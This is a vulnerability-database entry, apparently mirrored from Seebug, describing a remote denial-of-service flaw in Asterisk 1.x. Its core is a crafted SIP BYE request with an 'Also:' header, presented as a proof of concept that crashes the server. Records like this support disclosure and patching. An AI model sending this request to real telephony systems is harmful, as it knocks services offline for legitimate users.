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Asterisk 1.x - BYE Message Remote Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

Asterisk 1.x remote denial of service vulnerability through crafted SIP BYE messag

Code

                                                source: http://www.securityfocus.com/bid/27110/info

Asterisk is prone to a remote denial-of-service vulnerability.

Exploiting this issue allows remote attackers to cause the application to crash, effectively denying service to legitimate users. 

BYE sip:[email protected] SIP/2.0
Via: SIP/2.0/UDP 10.0.0.100:7279;branch=z9hG4bK976ed70381c64bc6a5ec25b63f3df402
To: <sip:[email protected]>;tag=as664746ba
From: <sip:[email protected]>;tag=0509943750
Call-ID: 11f5ae5ba1e04a25a1184ff158654371
CSeq: 3 BYE
Max-Forwards: 70
Also: sip:[email protected]
                              

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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
10